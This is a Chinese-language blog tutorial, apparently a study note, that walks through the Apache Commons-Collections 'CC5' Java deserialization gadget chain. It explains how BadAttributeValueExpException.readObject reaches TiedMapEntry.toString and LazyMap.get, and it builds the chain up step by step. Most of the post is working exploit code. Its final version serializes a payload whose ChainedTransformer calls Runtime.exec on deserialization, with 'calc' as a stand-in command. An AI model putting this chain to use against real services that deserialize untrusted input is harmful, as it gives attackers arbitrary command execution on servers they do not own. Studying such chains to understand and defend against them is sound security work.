目录

  1. 1. 前言
  2. 2. 分析
  3. 3. 写exp
    1. 3.1. LazyMap.get()部分
    2. 3.2. TiedMapEntry.toString()部分
    3. 3.3. BadAttributeValueExpException入口类部分
  4. 4. 最终的exp

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CC5链

2024/9/6 Web Java 反序列化
  |     |   总文章阅读量:

前言

CC5,说白了就是在CC6的基础上换了个入口类

参考:

https://drun1baby.top/2022/06/29/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Commons-Collections%E7%AF%8707-CC5%E9%93%BE/


分析

继续掏出之前的总结图

image-20240906104756602

CC5的入口类是 BadAttributeValueExpExceptionreadObject() 方法,这个不难理解

关键是这里的LazyMap.get() 方法被TiedMapEntry.toString()调用了,要找谁调用了toString()可太多了,只能正向分析

直接看 javax.management.BadAttributeValueExpException#readObject

image-20240906105302385

这里调用了 toString() 方法,然后 TiedMapEntry 这个类调用了 toString() 方法

image-20240906105359987

嗯,熟悉的 getValue,跟进一下后面就连上 LazyMap.get

image-20240906105540881

那么就是让 valObj 为 TiedMapEntry 就行了


写exp

LazyMap.get()部分

后半段直接套 cc1的 LazyMapChain 即可

package com.example.cc5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
        lazyGetMethod.setAccessible(true);
        lazyGetMethod.invoke(decorateMap, chainedTransformer);
    }
}

PS:最后的反射部分是用来证明这个exp是可行的

TiedMapEntry.toString()部分

TiedMapEntry 这个类继承了反序列化,并且是 public 的类,可操纵性非常强

直接看构造方法和相关的方法

public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}

public String toString() {
    return getKey() + "=" + getValue();
}

public Object getValue() {
    return map.get(key);
}

那么只需要将map赋值为 decorateMap 即可

TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value");
tiedMapEntry.toString();

此时的exp:

package com.example.cc5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value");
        tiedMapEntry.toString();
    }
}

BadAttributeValueExpException入口类部分

入口类的 BadAttributeValueExpException 的作用域是 public,所以我们可以直接 new 一个对象

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

然后修改 BadAttributeValueExpException 的 val 值,而 BadAttributeValueExpException 是支持序列化的,直接用反射的方式来修改

Utils.SetValue(badAttributeValueExpException, "val", tiedMapEntry);

最终的exp

package com.example.cc5;

import com.example.Utils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map decorateMap = LazyMap.decorate(hashMap, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateMap, "value");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Utils.SetValue(badAttributeValueExpException, "val", tiedMapEntry);

        String barr = Utils.Serialize(badAttributeValueExpException);
        System.out.println(barr);
        Utils.UnSerialize(barr);
    }
}

image-20240906112432015